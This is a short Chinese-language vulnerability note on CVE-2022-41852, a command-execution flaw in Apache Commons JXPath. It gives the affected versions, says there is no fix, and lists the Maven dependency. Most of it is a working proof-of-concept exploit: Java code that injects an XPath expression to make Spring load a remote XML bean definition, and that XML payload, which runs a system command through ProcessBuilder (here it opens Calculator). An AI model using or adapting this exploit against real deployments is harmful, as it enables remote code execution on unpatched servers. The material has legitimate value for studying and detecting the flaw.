Apache Commons Jxpath命令执行漏洞CVE-2022-41852

JXPath 为使用 XPath 语法遍历 JavaBeans、DOM 和其他类型的对象的图形提供了 API

受影响的版本

commons-jxpath:commons-jxpath [0, 1.3]

修复方案

该组件已停止维护，未修复

依赖包

<dependency>
  <groupId>commons-jxpath</groupId>
  <artifactId>commons-jxpath</artifactId>
  <version>1.3</version>
</dependency>

poc

需要在spring环境下运行

package com.payload.desc;

import org.apache.commons.jxpath.JXPathContext;

public class CommonsJXpathPoc {
    public static class Person {
        String name;
        String website;
    }

    /**
     * Hardcoded person object for PoC
     */
    private static final Person person = new Person();

    public static void main(String[] args) {
        JXPathContext context = JXPathContext.newContext(person);
        Object result = context.getValue("org.springframework.context.support.ClassPathXmlApplicationContext.new(\"http://127.0.0.1:51212/payload.xml\")");
    }
}

xml payload

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="commandRunner" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
            <list>
                <value>open</value>
                <value><![CDATA[/System/Applications/Calculator.app]]></value>
            </list>
        </constructor-arg>
    </bean>
</beans>